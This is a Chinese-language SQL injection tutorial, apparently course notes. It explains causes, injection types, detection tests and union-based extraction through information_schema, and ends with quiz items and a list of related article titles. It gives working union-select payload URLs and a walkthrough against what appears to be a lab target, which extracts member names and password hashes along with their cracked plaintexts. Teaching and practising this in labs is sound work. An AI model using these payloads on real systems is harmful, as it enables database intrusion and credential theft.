前言

sql注入是比较常见的网络攻击方式之一, 他不是利用操作系统的bug来实现攻击,而是针对程序员编写时的疏忽,通过sql语句,实现无账号登录,甚至篡改数据库。

sql简介

sql是一门ANSI的标准计算机语言, 用来访问和操作书序库系统。 sql语句用于取回和更新数据库中的数据。sql可与数据库程序协同工作,比如MS Access, DB2 , informinx, mssql Server,Oracle, Sybase 以及其他数据库系统。

sql注入

sql注入就是一种通过操作输入来修改后台sql语句达到代码执行进行攻击的目的的技术。

sql注入产生原理

1.对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等), 就被带到数据库执行,造成了sql注入

2.使用了字符串拼接的方式造成sql语句

sql注入的分类

1.从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入

2.从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)

3.从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)

SQL注入的危害

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

1.数据库信息泄露

2.网页篡改:登录后台发布恶意内容

3.网页挂马;当拿到webshell时或者获取到服务器权限后,可将一些网页木马挂在服务器上去攻击别人

4.私自添加系统账号

5.读写文件获取webshell

MYSQL数据库

数据库A=网站A=数据库用户A

表名

列名

数据

数据库B=网站B=数据库用户B

。。。。。。。。

数据库C=网站C=数据库用户C

。。。。。。。。

必要知识

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号“.”代表下一级 ,如xiaodi.user表示xiaodi数据库下的user表名

3.常用参数

information_schema.tables:记录所有表明信息的表

        information_schema.columns:记录所有列名信息的表

        table_name:表明

        column_name:列名

        table_schema:数据库名

        user()查看当前MySQL登录的用户名

        database()查看当前使用MySQL数据库名

version()查看当前MySQL版本

如何判断注入点

  1. 如果页面中MySQL报错,证明该页面中存在SQL注入漏洞

单引号 '

and 1=1

and 1=2

SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

2.逻辑运算符(或与非)

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

SELECT * FROM users WHERE id=1 真

1=1 真

1=2 假

真且真=真

真且假=假

SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常

SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

SQL注入利用

  1. 根据注入位置数据类型将sql注入分类
  2. 利用order判断字段数

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

      3.利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+

        4.利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

        5.利用 union select 联合查询,获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

        6.利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

        7.利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

题目

  1. 可能存在注入的编号选项有哪几个?

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10

www.xiaodi8.com/?id=10&x=1

www.xiaodi8.com/index.php(post注入)

2.参数有x注入,以下哪个注入测试正确

A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2

B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1

C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1

D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1

3.如果参数id存在注入点

参数的位置可以互换,使用工具的时候要注意

http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1

-> http://www/cnhgs.net/main.php?page=1&id53(注入点) and 1=2

测试演示

要选用最舒服的方法测试:

SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测   没有漏洞

#猜解列名数量(字段数)

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

http://219.153.49.228:43230/new_list.php?id=1 order by 4

#报错猜解准备

http://219.153.49.228:43230/new_list.php?id=1 union select 1,2,3,4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20%20select%201,2,3,4

​​​​​​​​​​​http://219.153.49.228:43230/new_list.php?id=1%20and%201=22222%20union%20%20select%201,2,3,4​​​​​​​x​​​​​​​

信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名字:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,database(),version(),4

http://219.153.49.228:43230/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询所有:

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

#查询指定表名StormGroup_member下的列名信息

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

id,name,password,status

#查询指定数据

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

#猜解多个数据可以采用limit x,1 变动猜解

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

mozhe

356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13

http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

mozhe

a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003

WEB漏洞——SQL注入之简要SQL注入相关推荐

  1. web漏洞“小迪安全课堂笔记”SQL注入

    文章目录 前言 SQL注入是什么? 注入原理 数据库结构 mysql数据库 参数类型 请求方法 如何判断注入点? 判断注入 1.信息收集 2.数据注入 3.高权限注入 魔术引号开关 跨库注入 获取所有 ...

  2. 使用Python打造基本WEB漏洞扫描器(一) 网站爬虫+SQL注入检测

    一.实验介绍 扫描器需要实现功能的思维导图: 1.1 实验内容 编写一个简单的多线程爬虫,用于对网站地址进行爬取,编写一个简单的sql注入工具,用于对网站地址进行sql注入的检测. 1.2 实验知识点 ...

  3. 记录一款web漏洞扫描工具,包含sql注入、xss攻击等各种漏洞扫描

    名称:Burpsuite 官网地址:https://portswigger.net/burp/releases

  4. WEB漏洞测试(二)——HTML注入 XSS攻击

    上一篇介绍了我们安装BWAPP来完成我们的漏洞测试 在BWAPP中,将HTML Injection和XSS做了非常详细的分类,那么为什么要将两个一起讲呢?归根结底,我觉得这两个分明是一个玩意,充其量是 ...

  5. 【每日三省吾身】常见Web漏洞基本原理

    常见Web漏洞基本原理 前言 一.SQL注入 二.CSRF攻击,跨站请求伪造 三.XSS漏洞 总结 前言 一.SQL注入   这是在输入的字符串中注入了SQL指令,在设计不良的程序当中忽略了检查,那么 ...

  6. web漏洞开始,sql注入

    第十一天,web漏洞必懂知识点 这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...

  7. 【网络安全】WEB漏洞 pickchu靶场搭建:实例演示sql数字注入、目录遍历漏洞、文件下载漏洞

    WEB漏洞01 CTE,SRc,红蓝对抗,实战等#简要说明以上漏洞危害情况 #简要说明以上漏洞等级划分 #简要说明以上漏洞重点内容 #简要说明以上漏洞形势问题 靶场搭建:https://github. ...

  8. 小迪安全第14天 web漏洞,SQL注入之类型及提交注入

    14 web漏洞,SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...

  9. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

最新文章

  1. c++2015-2019存在异常_什么是血脂?什么是脂蛋白?什么是血脂异常?有哪些危害?...
  2. style=background-image: url(__HOMEPAGE__/views/IMJ2V2/images/banner2.jpg)
  3. PHP面试题:写一个二维数组排序算法函数,能够具有通用性,可以调用php内置函数(array_multisort())
  4. 【原】Python基础-函数
  5. 2020 .NET 开发者峰会顺利在苏州落幕,相关数据很喜人以及线上直播回看汇总
  6. nssl1469-W【dp】
  7. Sum of Even Numbers After Queries
  8. java kafka 分区_Java kafka如何实现自定义分区类和拦截器
  9. 跟我学调试-必备神器:Postman
  10. 使用 Storyboard Segue 实作 UIViewController 的切换 (实例)
  11. uva 436 Arbitrage (II)
  12. SSM框架使用遇到的问题
  13. vue+webapi 实现WebSocket 推送
  14. 关于使用TestDriven.Net 2.0的一点补充
  15. DTS音乐格式和常用播放软件及说明
  16. Hexo之NexT主题设置背景图片
  17. C语言绘制单项正弦电压波形图,正弦交流电压波形图为例讲解“五点法”画波形图的方法...
  18. “超低能,劲搞笑”笑话管理系统 v2.0
  19. 博客美化总结(持续更新)
  20. 如何在企业中从0-1建立一个数据/商业分析部门?

热门文章

  1. 涨知识!细数银行卡三要素 API 的 N 种验证方法
  2. “时间就是金钱”的价值观
  3. Java基础:数据类型与变量
  4. 在python中numpy是什么意思_numpy是什么
  5. Leetcode 316
  6. nalu模式多slice_H.264中NAL、Slice与frame意思及相互关系
  7. JS 函数中的 arguments 类数组对象
  8. python-cmd安装环境
  9. 文件上传一句话木马getshell
  10. 台式机计算机怎么分割,电脑切割分区:如何将一个分区划分成两个或多个